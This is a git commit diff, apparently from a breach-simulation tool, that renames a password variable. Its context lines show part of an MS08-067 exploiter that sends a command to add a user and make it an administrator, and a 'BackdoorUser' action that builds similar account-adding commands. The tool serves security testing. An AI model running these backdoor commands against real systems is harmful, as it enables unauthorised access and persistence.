Replace "remote_user_pwd" with "random_password"

This commit is contained in:
Shreya 2021-05-17 22:51:14 +05:30
parent 636a201d19
commit fc82b2a9dc
2 changed files with 5 additions and 5 deletions

View File

@ -231,7 +231,7 @@ class Ms08_067_Exploiter(HostExploiter):
) )
exploited = False exploited = False
remote_user_pwd = get_random_password() random_password = get_random_password()
for _ in range(self._config.ms08_067_exploit_attempts): for _ in range(self._config.ms08_067_exploit_attempts):
exploit = SRVSVC_Exploit(target_addr=self.host.ip_addr, os_version=os_version) exploit = SRVSVC_Exploit(target_addr=self.host.ip_addr, os_version=os_version)
@ -242,7 +242,7 @@ class Ms08_067_Exploiter(HostExploiter):
"cmd /c (net user {} {} /add) &&" "cmd /c (net user {} {} /add) &&"
" (net localgroup administrators {} /add)\r\n".format( " (net localgroup administrators {} /add)\r\n".format(
self._config.user_to_add, self._config.user_to_add,
remote_user_pwd, random_password,
self._config.user_to_add, self._config.user_to_add,
).encode() ).encode()
) )
@ -266,7 +266,7 @@ class Ms08_067_Exploiter(HostExploiter):
src_path, src_path,
self._config.dropper_target_path_win_32, self._config.dropper_target_path_win_32,
self._config.user_to_add, self._config.user_to_add,
remote_user_pwd, random_password,
) )
if not remote_full_path: if not remote_full_path:

View File

@ -7,10 +7,10 @@ from infection_monkey.utils.users import get_commands_to_add_user
class BackdoorUser(PBA): class BackdoorUser(PBA):
def __init__(self): def __init__(self):
remote_user_pwd = get_random_password() random_password = get_random_password()
linux_cmds, windows_cmds = get_commands_to_add_user( linux_cmds, windows_cmds = get_commands_to_add_user(
WormConfiguration.user_to_add, remote_user_pwd WormConfiguration.user_to_add, random_password
) )
super(BackdoorUser, self).__init__( super(BackdoorUser, self).__init__(